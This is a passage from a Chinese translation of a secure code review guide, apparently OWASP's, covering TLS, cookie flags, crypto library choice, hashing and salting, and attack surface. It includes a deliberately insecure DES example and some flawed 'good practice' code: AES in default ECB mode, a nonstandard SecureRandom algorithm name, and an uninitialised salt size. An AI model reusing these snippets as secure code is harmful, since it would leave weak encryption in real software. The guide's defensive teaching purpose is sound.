ouldBeTrue 验证system.web.authentication.forms配置元素上 的 requireSSL 属性是否设置为 True,这将强制身份验证 cookie 指定安全属性。这指示浏览器仅通过 SSL 提供 cookie。 FormAuthenticationSlidingExpirati onShouldBeFalse 验 证 通 过 HTTP 为 网 站 提 供 服 务 时 , 176 system.web.authentication.forms slideExpiration 是 否设置为 false。 这将强制身份验证 cookie 具有固定的 超时值,而不是由每个请求刷新。 由于 cookie 将遍历明 文网络并可能被拦截,因此 cookie 上具有固定的超时值 将限制 cookie 可以重播的时间。 如果 cookie 仅通过 HTTPS 发送,则不太可能被拦截,并且将 slideExpiration 设置为 True 会导致在每次请求后刷新超时,从而提供更 好的用户体验。 详细参考英文文档。 3.6 A6 敏感数据泄露 许多网络应用程序不能正确地保护敏感数据,如信用卡、税号和身份验证凭证。攻击者 可能会窃取或修改保护薄弱的数据,以实施信用卡欺诈、身份盗窃或其他犯罪。敏感数据应 该得到额外的保护,如静态或传输中的加密,以及与浏览器交换时的特殊预防措施。 3.6.1 加密控制 软件开发人员、架构师和设计师是决定特定应用程序属于哪一类的最关键人员。密码技 术提供静态数据的安全性(通过加密)、数据完整性(通过散列/摘要)和数据的不可否认性(通 过签名)。为了确保加密充分保护数据,所有源代码必须使用具有强密钥大小的标准(安全) 算法。 实现加密代码时的常见缺陷包括使用非标准加密算法、自定义加密(标准和非标准)算法、 177 使用加密不安全的标准算法(例如,DES),不安全密钥的实现会削弱任何应用程序的整体安 全态势。上述缺陷的实现使得攻击者能够使用密码分析工具和技术来解密敏感数据。 3.6.2 描述 许多公司为客户处理敏感信息,例如医疗信息或信用卡号码,行业法规规定这些敏感信 息必须加密以保护客户的信息。在医疗行业,HIPAA 法规建议企业必须对医疗数据实施必 要的保护,在金融行业,许多法规涵盖 PII(个人身份信息)控制。 不管监管处罚的财务影响如何,保护(通过加密或散列)应用程序处理的信息有许多业务 原因,包括隐私和欺诈检测/保护。应识别应用程序处理的所有敏感数据,并实施加密。同 样,应决定敏感数据在传输过程中 (即,从一台计算机发送到另一台)和/或静止(即,存储在 数据库、文件、钥匙串等中) 是否必须加密: 1)传输过程中的保护。这通常意味着使用 SSL/TLS 层来加密通过超文本传输协议传输 的数据,也可以包括 FTPS 协议,甚至是传输控制协议。像 IIS 和 Apache Struts 这样的框 架都包含了 SSL/TLS 功能,因此开发人员不会编写实际的 TLS 加密,而是会配置一个框架 来提供 TLS 安全性。 然而,做出这样的决策,即使是在架构层面,也需要充分了解安全性。关于 TLS 设计 决策的讨论包含在第 1.3 节中。 2)存储时保护。这可以包括对数据库中的信用卡进行加密、对密码进行散列、生成消息 认证码(MAC)以确保消息在计算机之间没有被修改。当 TLS 通过框架实现时,要加密或散 列要存储的数据的代码通常需要使用加密库提供的 API。 开发人员不会编写代码来实现 AES 算法(OpenSSL 或 CryptoAPI 会这样做),开发人员 178 将编写模块来以正确的方式使用 AES。同样,需要对最新的算法、密钥存储和其他设计决 策做出正确的决定,这些将在 1.4 节中介绍。 3.6.2.1 密码学定义 在深入讨论加密流量和数据之前,下表定义了加密领域中使用的一些术语。 表:密码学术语定义 名称 解释 编码 将数据从一种形式转换为另一种形式,通常是为了使数据更容易处理。 例如,对二进制数据进行编码(无法打印到屏幕上的二进制数据转换为可 复制/粘贴的可打印的 ASCII 格式)。请注意,编码的目的不是隐藏数据, 将编码数据返回其原始形式的方法将是众所周知的。 熵 本质上,这是随机性。 加密功能将需要以某种形式的随机性工作,以允 许源数据以某种方式加密,以使攻击者无法在没有必要密钥的情况下逆 转加密。拥有良好的熵源对于任何密码算法都是必不可少的。 哈希 将数据不可逆地转换成所谓的“指纹”或“散列值”。可以采用任何大 小的输入,并且总是产生相同大小的输出(对于算法)。目的不是在以后 将指纹转换回源数据,而是对两组数据运行哈希算法,以确定它们是否 产生相同的指纹。这将表明数据没有被篡改。 盐 可以添加到哈希算法中以修改指纹结果的非秘密值。针对哈希算法的一 种攻击是“彩虹表攻击”,即预先计算所有的源值并生成一个表。然后, 攻击者可以提取指纹,在表中查找,并将其与原始数据对应起来。为每 179 个要哈希的数据使用唯一的 salt 值可以防止彩虹表,因为需要为每个 salt 值创建彩虹表,这将大大延长攻击者花费的时间。盐不是密钥,可 以和指纹一起储存或发送。 加密算法 将源数据转换为加密的形式,该形式可以反转回原始源。通常用于加密 的算法是众所周知的,但是依赖于一个秘密的“密钥”来指导转换。没 有密钥的攻击者不应该能够将数据转换回原始源。 对称加密 一种加密形式,发送方和接收方都知道相同的密钥。这是一种快速的加 密形式,但是需要一种安全的带外方法来在发送方和接收方之间传递对 称密钥 非对称加密 一种使用两个密钥的加密形式,一个用于加密数据,另一个用于将数据 解密回其原始形式。这是一种较慢的加密方法,但是其中一个密钥可以 公开(称为“公钥”)。另一个密钥被称为“私钥”,并且是保密的。任 何用公钥加密的数据都可以用私钥解密成原来的形式。同样,用私钥加 密的任何数据都可以用公钥解密回其原始形式。 证书 实体(例如,人,公司)和公钥之间的关联。 通常,这形成了公共密钥 基础结构的一部分,其中某些受信任的实体(例如,Internet TLS 中的 证书颁发机构)执行授权证书的验证并断言(使用其自己的证书)声明 的公共密钥属于该实体 3.6.3 审计内容:传输中的保护 安全套接字层(SSL)和传输层安全性(TLS)这两个术语经常互换使用。其实 SSL v3.1 相 180 当于 TLS v1.0,但是不同版本的 SSL 和 TLS 都是现代 web 浏览器和大多数现代 web 框架 和平台支持的。请注意,从针对 SSL 协议的攻击的发展表明它对攻击的抵抗力较弱,因此 本指南将使用术语 TLS 来指代通过 HTTP 或 TCP 协议的传输层安全性。 传输层安全性的主要好处是,当 web 应用程序数据在客户端(web 浏览器)和 web 应用 程序服务器之间,以及在 web 应用程序服务器和后端以及其他基于非浏览器的企业组件之 间传输时,它可以保护 web 应用程序数据免受未经授权的泄露和修改。 理论上,使用 TLS 保护计算机间通信的决定应基于接口上可用的流量或功能的性质。 如果敏感信息通过接口,TLS 将阻止窃听者查看或修改数据。同样,如果接口允许转账或敏 感功能操作,则 TLS 将保护授权用户执行这些功能的相关登录或会话信息。然而,随着证 书价格的下降,框架内的 TLS 配置变得更加容易,对接口的 TLS 保护并不是一项大的工作, 许多网站正在对其整个站点使用 TLS 保护(即,只有 HTTPS 网页,没有 HTTP 网页可用)。 TLS 的服务器验证组件向客户端提供服务器的身份验证。如果配置为需要客户端证书, TLS 还可以在向服务器进行客户端身份验证时发挥作用。然而,在实践中,客户端证书并不 经常用来代替基于用户名和密码的客户端身份验证模型。 3.6.3.1 使用经验证的实现 美国政府提供了一份软件清单,这些软件已经过验证,可以为各种加密功能(包括 TLS 中使用的功能)提供强大而安全的实现。该清单被称为 FIPS 140-2 验证密码模块。 密码模块,无论是软件库还是硬件设备,都实现密码算法(对称和非对称算法、哈希算 法、随机数生成器算法和消息认证码算法)。密码模块及其服务(以及调用密码模块的 web 应用程序)的安全性取决于这三个部分的正确实现和集成。此外,必须安全地使用和访问密 181 码模块。为了充分利用 TLS 的优势,需要使用已经过 FIPS 140-2 验证的组件(例如,库、 网络框架、网络应用服务器)。此外,密码模块必须以批准或允许的模式安装、配置和运行, 以提供 FIPS 140-2 验证密码模块以预期方式提供预期安全服务的高度确定性。 审计处理 TLS 加密的设计或代码时,需要注意的事项包括: ⚫ 使用 TLS 登录页面和任何已验证页面。登录登录页面如果不使用 TLS,攻击者可 能会修改登录表单操作,导致用户的凭据被张贴到任意位置。登录后未能对经过身 份验证的页面使用 TLS,会使得攻击者能够查看未加密的会话标识,危及用户经过 身份验证的会话。 ⚫ 当传输敏感数据或暴露已验证的功能时,在内部使用顶级域名系统。所有传输敏感 数据的外部和内部网络都必须利用 TLS 或等效的传输层安全机制。仅仅声称内部 网络的访问权限“仅限于员工”是不够的。最近的大量数据泄露表明,攻击者可以 攻破内部网络。在这些攻击中,安装了嗅探器来访问内部网络上发送的未加密敏感 数据。 ⚫ 希望所有界面(或页面)仅在 HTTPS 可访问。通过 TLS 可用的所有页面不得通过非 TLS 连接可用。用户可能会无意中添加书签或手动键入指向某个网页的网址(例如。 http://example.com/myaccount)。 ⚫ Cookie 设置“secure”和“http-only”属性。如果不使用“secure”标志,攻 击者就可以通过欺骗用户的浏览器向网站上未加密的页面提交请求来访问会话 cookie。“http-only”标志拒绝 JavaScript 函数访问 cookies 内容。 ⚫ 请勿将敏感数据放在网址中。TLS 将保护网络流量的内容,包括传输时的网址,但 是请记住,网址在浏览器历史设置中是可见的,并且通常是在服务器日志中明文显 182 示。 ⚫ 防止缓存敏感数据。TLS 协议只为传输中的数据提供机密性,但它无助于解决客户 端或中间代理的潜在数据泄漏问题。 ⚫ 对高风险接口使用超文本传输协议严格传输安全(HSTS)。HSTS 将阻止任何网络客 户端试图通过非 TLS 协议连接到您的网站。从服务器端的角度来看,如果没有提 供 TLS 功能,这可能看起来无关紧要,但是设置 HSTS 的网站确实可以保护客户 端免受其他攻击(例如。域名系统缓存中毒)。 ⚫ 使用 2048 长度(及以上)的密钥和 SHA-256(及以上)版本。用于生成密钥的私钥对 于私钥和相应证书的寿命必须足够强。目前的最佳做法是选择至少 2048 位的密钥 大小。请注意,对 SHA-1 的攻击已经显示出弱点,目前的最佳做法是至少使用 SHA-256 或等效算法。 ⚫ 仅在您的证书中使用指定的合法的域名。请勿使用通配符证书或RFC 1918地址(例 如。10.*或 192.168.*). 如果您需要支持多个域名,请使用主题备用名(SANs),它 提供了证书有效的多个域名的特定列表。例如,证书可以列出主体的 CN 为 example.com,并列出两个 SAn:abc.example.com 和 xyz。com。这些证书有 时被称为“多域证书”。 ⚫ 始终提供链中的所有证书。当用户收到服务器或主机的证书时,必须向受信任的根 证书颁发机构验证该证书,这就是所谓的路径验证。终端实体(服务器或主机)证书 和根证书之间可以有一个或多个中间证书。除了验证两个端点之外,客户端软件还 必须验证所有中间证书,如果客户端没有证书,这可能会导致验证失败。很多移动 平台都会出现这种情况。 183 3.6.4 审计内容:静态保护 作为一般建议,公司不应创建自己的自定义加密库和算法。开发密码算法的团体、组织 和个人与用软件或硬件实现密码算法的团体、组织和个人之间有很大的区别。使用由专家开 发并经过行业测试的已建立的加密库是在公司代码中实现加密功能的最安全的方法。下表涵 盖了各种语言和环境中使用的库的一些常见示例。 表:根据开发平台匹配的常见加密算法 语言 库 描述 C# .NET System.Security.Cryptography 对于用 C#.NET 编码的应用程序,应 使 用 “ System.Security.Cryptography” 中的类库和实现。 .NET 中的此命名空 间旨在提供许多不需要使用加密技术 的封装实现。 C/C++(Win3 2) CryptoAPI 和 DPAPI 对于在 Win32 平台上运行的 C / C ++ 代码,建议使用 CreyptoAPI 和 DPAPI C/C++(Linux) OpenSSL,NSS, boringssl 对于 Linux / Unix 操作系统上的 C / C ++,请使用 OpenSSL,NSS 或这些库 的众多分支之一。 ASP CryptoAPI 和 DPAPI 传统的 ASP 页面无法直接访问密码功 能,因此唯一的方法是在 Visual C ++ 184 或 Visual Basic 中创建 COM 包装器, 从而实现对 CryptoAPI 或 DPAPI 的调 用。 然后使用 Server.CreateObject 方法从 ASP 页面调用它们。 Java Java Cryptography Extension,BouncyCastle, Spring Security JCE 是任何加密库都可以实现的标准 API,以向开发人员提供加密功能。 Oracle 提供了推荐充当加密服务提供 商和/或提供 JCE 的实现的公司列表。 BouncyCastle 在更流行的实现中。在 已经使用 Spring 的应用程序中, Spring Secuirty 也很流行。 在源代码中实现健壮加密机制的一种安全方法是使用符合 FIPS [7]标准的算法,并使用 微软数据保护应用编程接口(DPAPI) [4]或 Java 加密扩展(JCE) [5]。 公司在建立密码时,应确定以下最低标准策略: ⚫ 应用程序将使用哪些标准算法 ⚫ 支持的最小键长度 ⚫ 哪些类型的数据必须加密 查看代码处理加密时,请注意: ⚫ 是否使用了足够强的加密算法,这些算法的实现是否符合 FIPS-140 标准。 185 ⚫ 使用的加密算法类型是否正确,数据是否经过哈希处理,是否应该使用对称密钥进 行加密?如果无法安全地将对称密钥传送给另一方,是否使用了公钥加密算法? ⚫ 在任何密码系统中,密钥保护是最重要的方面。对称密钥或私钥的暴露意味着加密 数据不再是私有的。严格控制谁有权输入或查看密钥,以及如何在应用程序中使用 密钥。 ⚫ 任何实施加密流程和算法的代码都应根据一套公司或监管规范进行审计和审计。对 于组织认为的“强加密”是什么,需要做出高层次的决策(并不断地重新审视),所 有的实施实例都应该遵守这个标准。 ⚫ 加密模块必须在多线程实现的高负载下进行测试,并且应该审计每一段加密数据, 以确保其被正确加密和解密。 ⚫ 在.MSDN 库安全实践中密码学的例子.NET Framework 2.0 安全实践汇总如下: ◼ 审计是否使用了数据保护应用编程接口。 ◼ 验证没有使用专有算法。 ◼ 审计 PRNG 是否使用 RNGCryptoServiceProvider。 ◼ 验证密钥长度至少为 128 位。 ⚫ 在 ASP 中,在组件包装器上执行所有上述这些审计。 ⚫ 对于 Java,审计是否使用了 Java 加密扩展(JCE) ◼ 验证没有使用专有算法 ◼ 审计 PRNG 是否使用了安全令牌(或类似工具) 186 ◼ 验证密钥长度至少为 128 位 3.6.4.1 不良做法:使用不安全的加密算法 DES 和 SHA-0 算法在密码上是不安全的。示例 12.1 中的示例概述了不应使用的使用 DES 的加密模块(可使用 Java 加密扩展获得)。此外,在未来的新应用中,应避免使用 SHA-1 和 MD5。 示例: package org.badexample.crypto; <snip> try { /** Step 1. Generate a DES key using KeyGenerator */ KeyGenerator keyGen = KeyGenerator.getInstance(“DES”); SecretKey secretKey = keyGen.generateKey(); /** Step2. Create a Cipher by specifying the following parameters * a. Algorithm name - here it is DES * b. Mode - here it is CBC * c. Padding - PKCS5Padding */ Cipher desCipher = Cipher.getInstance(“DES/CBC/PKCS5Padding”); <snip> 3.6.4.2 良好实践:使用强熵 下面示例中的源代码概述了每次使用强熵时的安全密钥生成: 示例: 187 package org.owasp.java.crypto; import java.security.SecureRandom; import java.security.NoSuchAlgorithmException; import sun.misc.BASE64Encoder; /** * This program provides the functionality for Generating a Secure Random Number. * There are 2 ways to generate a Random number through SecureRandom. * 1. By calling nextBytes method to generate Random Bytes * 2. Using setSeed(byte[]) to reseed a Random object */ public class SecureRandomGen { public static void main(String[] args) { try { // Initialize a secure random number generator SecureRandom secureRandom = SecureRandom.getInstance(“SHA512”); // Method 1 - Calling nextBytes method to generate Random Bytes byte[] bytes = new byte[512]; secureRandom.nextBytes(bytes); // Printing the SecureRandom number by calling secureRandom.nextDouble() System.out.println(“ Secure Random # generated by calling nextBytes() is “ + secureRandom. nextDouble()); // Method 2 - Using setSeed(byte[]) to reseed a Random object int seedByteCount = 10; byte[] seed = secureRandom.generateSeed(seedByteCount); secureRandom.setSeed(seed); System.out.println(“ Secure Random # generated using setSeed(byte[]) is “ + secureRandom. nextDouble()); } catch (NoSuchAlgorithmException noSuchAlgo){ System.out.println(“ No Such Algorithm exists “ + noSuchAlgo); 188 } } } 3.6.4.3 良好实践:使用强算法 下面举例说明了高级加密标准的实现(可通过使用 Java 加密扩展获得): 示例: package org.owasp.java.crypto; import javax.crypto.KeyGenerator; import javax.crypto.SecretKey; import javax.crypto.Cipher; import java.security.NoSuchAlgorithmException; import java.security.InvalidKeyException; import java.security.InvalidAlgorithmParameterException; import javax.crypto.NoSuchPaddingException; import javax.crypto.BadPaddingException; import javax.crypto.IllegalBlockSizeException; import sun.misc.BASE64Encoder; /** * This program provides the following cryptographic functionalities * 1. Encryption using AES * 2. Decryption using AES * * High Level Algorithm : * 1. Generate a DES key (specify the Key size during this phase) * 2. Create the Cipher * 3. To Encrypt : Initialize the Cipher for Encryption * 4. To Decrypt : Initialize the Cipher for Decryption 189 */ public class AES { public static void main(String[] args) { String strDataToEncrypt = new String(); String strCipherText = new String(); String strDecryptedText = new String(); try{ /** * Step 1. Generate an AES key using KeyGenerator * Initialize the keysize to 128 */ KeyGenerator keyGen = KeyGenerator.getInstance(“AES”); keyGen.init(128); SecretKey secretKey = keyGen.generateKey(); /** * Step2. Create a Cipher by specifying the following parameters * a. Algorithm name - here it is AES */ Cipher aesCipher = Cipher.getInstance(“AES”); /** * Step 3. Initialize the Cipher for Encryption */ aesCipher.init(Cipher.ENCRYPT_MODE,secretKey); /** * Step 4. Encrypt the Data * 1. Declare / Initialize the Data. Here the data is of type String * 2. Convert the Input Text to Bytes * 3. Encrypt the bytes using doFinal method */ 190 strDataToEncrypt = “Hello World of Encryption using AES “; byte[] byteDataToEncrypt = strDataToEncrypt.getBytes(); byte[] byteCipherText = aesCipher.doFinal(byteDataToEncrypt); strCipherText = new BASE64Encoder().encode(byteCipherText); System.out.println(“Cipher Text generated using AES is “ +strCipherText); /** */ Step 5. Decrypt the Data * 1. Initialize the Cipher for Decryption * 2. Decrypt the cipher bytes using doFinal method */ aesCipher.init(Cipher.DECRYPT_MODE,secretKey,aesCipher.getParameters()); byte[] byteDecryptedText = aesCipher.doFinal(byteCipherText); strDecryptedText = new String(byteDecryptedText); System.out.println(“ Decrypted Text message is “ +strDecryptedText); } catch (NoSuchAlgorithmException noSuchAlgo){ System.out.println(“ No Such Algorithm exists “ + noSuchAlgo); } catch (NoSuchPaddingException noSuchPad){ System.out.println(“ No Such Padding exists “ + noSuchPad); } catch (InvalidKeyException invalidKey){ System.out.println(“ Invalid Key “ + invalidKey); } catch (BadPaddingException badPadding){ System.out.println(“ Bad Padding “ + badPadding); } catch (IllegalBlockSizeException illegalBlockSize){ System.out.println(“ Illegal Block Size “ + illegalBlockSize); 191 }catch (InvalidAlgorithmParameterException invalidParam){ System.out.println(“ Invalid Parameter “ + invalidParam); } } } 3.6.4.4 参考 [1]布鲁斯·施奈尔,《应用密码学》,约翰·威利父子公司,第二版,1996 年。 [2]迈克尔·霍华德,史蒂夫·李普纳,《安全开发生命周期》,2006 年,页。251 - 258 [3] .NET 框 架 开 发 者 指 南 , 加 密 服 务 , http://msdn2.microsoft.com/en-us/library/93bskf9z.aspx [4]微软开发者网,Windows 数据保护,http://msdn2.microsoft.com/en-us/library/ ms995355.aspx [5] Sun 开发人员网络,Java 加密扩展,http://java.sun.com/products/jce/ [6] Sun 开 发 者 网 络 , 加 密 服 务 提 供 商 和 洁 净 室 实 现 , http://java.sun.com/products/jce/jce122_providers.html [7]联邦信息处理标准 http://csrc.nist.gov/publications/fips/ 3.6.5 加密、散列和加盐 加密哈希算法,也称为哈希函数,是一种计算机算法,旨在从任意数据块(二进制数据 字符串)中提供随机映射,并返回称为“消息摘要”的固定大小的位字符串,从而实现一定 192 的安全性。 加密散列函数用于创建数字签名、消息认证码(MACs)、其他形式的认证以及信息基础 设施中的许多其他安全应用。它们还用于将用户密码存储在数据库中,而不是以明文形式存 储密码,有助于防止网络应用程序会话管理中的数据泄漏。用于创建密码函数的实际算法因 实施方式而异(SHA-256、SHA-512 等)。 不要在代码审计中接受程序员为散列而创建的算法。始终使用由语言、框架或通用(受 信任)加密库提供的加密功能。经验丰富的密码学家对这些功能进行了很好的审计和测试。 在 2000 年,美国商务部出口局修订了加密出口条例。新出口条例的结果表明,该条例 已大大放宽。但是,如果代码要出口到来源国之外,则应审计出口国和进口国的现行出口法 律是否合规。 一个恰当的例子是,如果整个消息被散列,而不是消息的数字签名,国家安全局(NSA) 认为这是一种准加密,国家控制将适用。 如果正在进行代码审计以确保法律合规性,在组织内寻求法律建议始终是一个有效的选 择。 有了安全,没有什么是永远安全的。加密散列函数尤其如此。一些哈希算法,比如 Windows LanMan 哈希,被认为是非常脆弱的。其他类似 MD5 的算法,在过去被认为是 安全的密码哈希算法,也有类似冲突攻击的问题(注意冲突攻击不影响密码哈希)。代码审计 者需要了解过时散列函数的弱点,以及选择加密算法的当前最佳实践。 193 3.6.5.1 使用盐 哈希最常见的编程问题是: ⚫ 不使用盐值 ⚫ 使用盐,盐值太短 ⚫ 在多个散列中使用相同的盐值。 salt 的目的是使攻击者更难执行预先计算的哈希攻击(例如,使用彩虹表)。例如, SHA512 的“password”如下表 20 的第 1 行所示,任何使用彩虹表的攻击者都会发现对 应于“password”的哈希值。考虑到需要几天或几周的时间来计算彩虹表的值,这样最多 可达 8 或 10 个字符,当应用程序不使用任何盐时,制作该表的成本是值得的。 现在来看一个场景,一个应用程序在所有输入的密码中添加了一点“WindowCleaner”。 现在“密码”的散列变成了“passwordWindowCleaner”的散列,如表 20 的第 2 行所示。 这不太可能出现在攻击者的彩虹表中,但是攻击者现在可以用接下来的 10 天(例如)在每 8 到 10 个字符串的末尾用“WindowCleaner”计算一个新的彩虹表,他们现在可以再次解 码我们的散列密码数据库。 在最后一步,应用程序可以为每个条目创建一个随机的 salt,并将该 salt 与哈希密码 一起存储在数据库中。现在,对于用户 1,随机 salt 为“a0w8hsdfas8ls587uas87”,这 意味着要进行哈希运算的密码为“passworda0w8hsdfas8ls587uas87”,如表第 3 行所 示;对于用户 2,随机 salt 为“8ash87123klinF9D8dq3w”,这意味着要进行哈希运算的 密码为“password8ash87123klinF9D8dq3w”,如表 X 第 4 行所示,对所有用户重复这 样。 194 现在,攻击者需要一个彩虹表来存放他们想要解密的每个用户的密码——而在此之前, 使用相同的 salt 解密所有数据库密码需要 10 天,现在为用户 1 的密码创建彩虹表需要 10 天,为用户 2 的密码创建彩虹表需要 10 天,等等。如果有 100,000 个用户,现在是 100, 000 x 10 天= 1,000,000 天或 2738 年,为所有用户创建彩虹表。 可以看出,盐不需要保密,因为每个用户都使用独特的盐这一事实减缓了攻击者的速度。 表:盐的使用和相关指纹 哈希“password”字符的方 法 结果 不加盐 B109F3BBBC244EB82441917ED06D618B9008DD09B3 BEFD1B5E07394C706A8BB980B1D7785E5976EC049B 46DF5F1326AF5A2EA6D103FD07C95385FFAB0CACBC86 Salt = ‘WindowCleaner’ E6F9DCB1D07E5412135120C0257BAA1A27659D41DC7 7FE2DE4C345E23CB973415F8DFDFFF6AA7F0AE0BDD 61560FB028EFEDF2B5422B40E5EE040A0223D16F06F Salt = ‘ a0w8hsdfas8ls587uas8 7’ 5AA762E7C83CFF223B5A00ADA939FBD186C4A2CD01 1B0A7FE7AF86B8CA5420C7A47B52AFD2FA6B9BB172 22ACF32B3E13F8C436447C36364A5E2BE998416A103A Salt = ‘8ash87123klnf9d8dq3w ’ 8058D43195B1CF2794D012A86AC809BFE73254A82C8C E6C10256D1C46B9F45700D040A6AC6290746058A63E5 0AAF8C87ABCD5C3AA00CDBDB31C10BA6D12A1A7 生成盐值的一种方法是使用伪随机数生成器,如下例 12.4 所示。 示例: private int minSaltSize = 8; 195 private int maxSaltSize = 24; private int saltSize; private byte[] GetSalt(string input) { byte[] data; byte[] saltBytes; RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider(); saltBytes = new byte[saltSize]; rng.GetNonZeroBytes(saltBytes); data = Encoding.UTF8.GetBytes(input); byte[] dataWithSaltBytes = new byte[data.Length + saltBytes.Length]; for (int i = 0; i < data.Length; i++) dataWithSaltBytes[i] = data[i]; for (int i = 0; i < saltBytes.Length; i++) dataWithSaltBytes[data.Length + i] = saltBytes[i]; return dataWithSaltBytes; } 请注意,salt 值不需要具有密码安全随机性的质量。 最佳做法是使用加密函数创建 salt,为每个哈希值创建一个 salt 值,最小值为 128 位 (16 个字符)。这些位并没有太大性能花销,所以不要节省一些位,强烈推荐使用 256 位盐 值。 3.6.5.2 最佳实践 行业领先的密码学家建议 MD5 和 SHA-1 不要用于任何应用。美国联邦信息处理标准 出版物(FIPS)规定了七种密码散列算法用于联邦用途——SHA-1、SHA-224、SHA-256、 SHA-384、SHA-512、SHA-512/224 和 SHA-512/256。 代码审计者应该考虑这个标准,因为 FIPS 也被信息技术行业广泛采用。 196 如果使用 MD5 和 SHA-1,代码审计人员应该发出警告,并进行风险评估,以了解为 什么使用这些函数而不是其他更适合的哈希函数。FIPS 确实允许 MD5 仅在作为已批准的 密钥传输方案的一部分使用时才能使用,因为该算法不提供安全性。 下面的示例显示了一个示例函数,它可以为应用程序实现一个通用的散列特性。 示例: App Code File: <add key=”HashMethod” value=”SHA512”/> C# Code: 1: preferredHash = HashAlgorithm.Create((string)ConfigurationManager.AppSettings[“HashMethod”]); 2: 3: hash = computeHash(preferredHash, testString); 4: 5: private string computeHash(HashAlgorithm myHash, string input) { 6: byte[] data; 7: data = myHash.ComputeHash(Encoding.UTF8.GetBytes(input)); 8: sb = new StringBuilder(); 9: for (int i = 0; i < data.Length; i++) { 10: sb.Append(data[i].ToString(“x2”)); 11: } 12: return sb.ToString(); 13: } 第 1 行让我们从配置文件中获取将要使用的哈希算法。如果我们使用机器配置文件, 197 我们的实现将是服务器范围的,而不是应用程序特定的。 第 3 行允许我们使用配置值,并根据我们选择的散列函数进行设置。计算机散列可能 是 SHA-256 或 SHA-512。 3.6.5.3 参考 ⚫ http://valerieaurora.org/hash.html (Lifetimes of cryptographic hash functions) ⚫ http://docs.oracle.com/javase/6/docs/api/java/security/SecureRandom.html ⚫ http://msdn.microsoft.com/en-us/library/system.security.cryptography.rngcry ptoserviceprovider.aspx ⚫ http://csrc.nist.gov/publications/fips/fips180-4/fips-180-4.pdf ⚫ 弗格森和施奈尔(2003)实用密码学(见第 6 章;第 6.2 节实散列函数) 3.6.6 减小攻击面 应用程序的攻击面是对进入/退出点、用户的角色/权限以及应用程序中保存的数据的敏 感性的描述。例如,登录、HTML 表单、文件上传屏幕等入口点都会给应用程序带来一定 程度的风险。请注意,代码结构也是攻击面的一部分,因为代码审计身份验证或加密等,由 应用程序上的关键功能执行。 198 3.6.6.1 描述 软件环境的攻击面是对攻击者试图操纵应用程序的入口点的描述,它通常采用系统图的 形式,指出所有的入口点(接口)。 迈克尔·霍华德(在微软)和其他研究人员开发了一种方法,用于测量应用程序的攻击面, 并跟踪攻击面随时间的变化,称为相对攻击面商(RSQ)。 假设应用程序攻击面已经为人所知,可能是通过以前的威胁建模练习或架构风险分析得 到。这样,入口点和出口点是已知的,应用程序中数据的敏感性是可以理解的,并且系统的 各种用户及其权利已经被映射到相关的功能和数据。 从代码审计的角度来看,目标是确保被审计的变更不会不必要地增加攻击面。比如以前 只用 HTTPS 的地方是不是突然用 HTTP 改代码了?编码者是否决定编写他们自己的散列函 数,而不是使用预先存在的(并且经过很好的练习/测试的)加密函数中央存储库?在某些开 发环境中,如果捕获了攻击面的细节,可以在设计阶段审计攻击面的变化,但是在代码审计 时,实际的实现会反映在代码中,并且可以识别这种攻击面暴露的情况。 您还可以通过扫描应用程序来构建攻击面的 sitemap。对于网络应用程序,您可以使用 OWASP Zed 攻击代理项目(ZAP)、Arachni、Skipfish、w3af 等工具或许多商业动态测试 和漏洞扫描工具或服务之一来抓取您的应用程序,并映射可通过网络访问的应用程序部分。 一旦你有了攻击面的 sitemap,确定高风险区域,然后了解你有什么补偿控制可以实施。 请注意,代码和数据的备份(在线和离线介质上)是系统攻击面的一个重要部分,但经常 被忽略。通过编写安全软件和强化基础架构来保护您的数据和知识产权,如果您不保护您的 199 备份,将一切都交给坏人,这将是徒劳的。 3.6.6.2 审计什么 从攻击面的角度查看代码模块时,需要注意的一些常见问题包括: ⚫ 代码变更是否改变了攻击面?通过将更改应用到应用程序的当前攻击面,它会打开 新端口还是接受新输入?如果是这样的话,可以在不增加攻击面的情况下进行改变 吗?如果存在更好的实现,那么应该建议这样做,但是如果没有办法在不增加攻击 面的情况下实现代码,请确保企业知道增加的风险。 ⚫ 该功能是否不必要地使用超文本传输协议而不是 HTTPS? ⚫ 该功能是否可供未经身份验证的用户使用?如果调用函数不需要身份验证,那么攻 击者使用该接口的风险就会增加。该函数是否调用了一个后端任务,该任务可用于 拒绝向其他合法用户提供服务? ◼ 例如。如果该函数写入文件,或发送短信,或导致 CPU 密集型计算,攻击者 能否编写一个脚本来每秒调用该函数多次,并阻止合法用户访问该任务? ⚫ 搜索是否受到控制?搜索是一项有风险的操作,因为它通常会查询数据库中的某些 条件并返回结果,如果攻击者能够将 SQL 注入到查询中,那么他们可能会访问比 预期更多的数据。 ⚫ 重要数据是否与琐碎数据分开存储(数据库、文件存储等)。该更改是否允许未经身 份验证的用户在与用户名/密码表位于同一分区的数据库表中搜索公开可用的存储 位置?该存储位置数据是否应该放入不同的数据库或不同的分区,以降低数据库信 息的风险? 200 ⚫ 如果文件上传被允许,它们是否被认证?有限速吗?每个用户的每次上传或聚合都 有最大文件大小吗?应用程序是否将文件上传限制为特定类型的文件(通过审计 MIME 数据或文件后缀)。应用程序将运行病毒审计吗? ⚫ 如果您的管理用户拥有高权限,他们的操作是否以这样的方式记录/跟踪: ◼ 不能擦除/修改日志, ◼ 不能拒绝他们的操作? ◼ 是否有任何警报或监控来发现他们是否访问了不应访问的敏感数据?这可能 适用于所有类型的用户,而不仅仅是管理员。 ⚫ 变更是否与现有对策或安全代码兼容,或者是否需要开发新的代码/对策? ⚫ 该变更是否试图引入一些非集中式安全代码模块,而不是重用或扩展现有的安全模 块? ⚫ 该变更是否增加了不必要的用户级别或权限,从而使攻击面复杂化。 ⚫ 如果变更存储的是 PII 或机密数据,所有新信息都是绝对必要的吗?如果数据从未 被使用过,那么通过存储数百万人的社会安全号码来增加应用程序的风险几乎没有 价值。 ⚫ 应用程序配置是否会导致攻击面因配置设置的不同而有很大差异,当攻击面扩展时, 该配置是否易于使用并提醒管理员? ⚫ 是否可以以不同的方式进行更改,以减少攻击面,即不是使帮助项目可搜索并将帮 助项目文本存储在主用户名/密码存储旁边的数据库表中,而是在 HTML 页面上提 供静态帮助文本,通过“帮助”界面降低风险。 201 ⚫ 客户机上存储的信息是否应该存储在服务器上? 3.6.6.3 参考 ⚫ https://www.owasp.org/index.php/Attack_Surface_Analysis_Cheat_Sheet ⚫ https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project ⚫ http://www.cs.cmu.edu/~wing/publications/Howard-Wing03.pdf 3.7 A7 缺失功能级别访问控制 大多数网络应用程序在用户使用功能之前,验证该用户是否有功能级访问权限。但是, 